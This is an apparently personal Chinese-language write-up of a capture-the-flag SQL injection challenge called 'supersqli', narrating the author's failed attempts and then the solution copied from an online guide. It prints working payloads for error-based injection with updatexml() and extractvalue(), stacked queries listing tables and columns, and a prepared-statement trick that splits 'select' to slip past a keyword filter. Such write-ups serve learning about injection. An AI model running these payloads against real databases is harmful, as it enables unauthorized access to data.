前言
从进入高手进阶区开始,就越发觉得自己会的东西好少,php之前没学过,导致我压根看不懂之前那些需要读懂php源码才能拿到flag的题,于是我一跳再跳,终于看到了亲切而熟悉的“sql”,一道sql注入题,应该有机会能自己拿到flag了!!然而。。。
开始注入
初始界面,点个提交查询试试看
出现了一段代码,这啥啊,看不懂,既然是 POST 类型的注入,那就来试试之前学过的 updatexml() 报错型注入:
1' and updatexml(1,concat(0x7e,database(),0x7e),0) #
结果出现下面这一行信息,我上网去查了一下 preg_match 是什么意思,文章链接在下面:
preg_match
然后我就想着去用 sqlmap 进行注入,但最后也没能成功,我不知道是不是自己没用对还是什么的,所以就暂时放弃用 sqlmap 了,接着我去 csdn 查找攻略,终于被我找到了,原文链接如下:
supersqli
下面开始按照攻略操作:
这里需要用到 堆叠注入 以及 extractvalue()报错型注入
首先使用 extractvalue() 将数据库名称注入出来
1' and extractvalue(1,concat(0x7e,database(),0x7e)) #
接下来使用 堆叠注入:
1';show tables #
到这里,接下来的操作我就看不懂了。。直接抄:
1' ;show columns from `1919810931114514`# 查字段(这个表名比较可疑就查这个,字符串为表名进行操作时要加反引号)
1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
得到了flag
总结
虽然说最后还是没能独立完成整个注入过程,但是通过查询攻略,我学会了 堆叠注入,以及复习了 extractvalue()报错型注入,后面看不懂的,以后学的知识上去了,自然就会看懂的!
彩蛋
查看网页源代码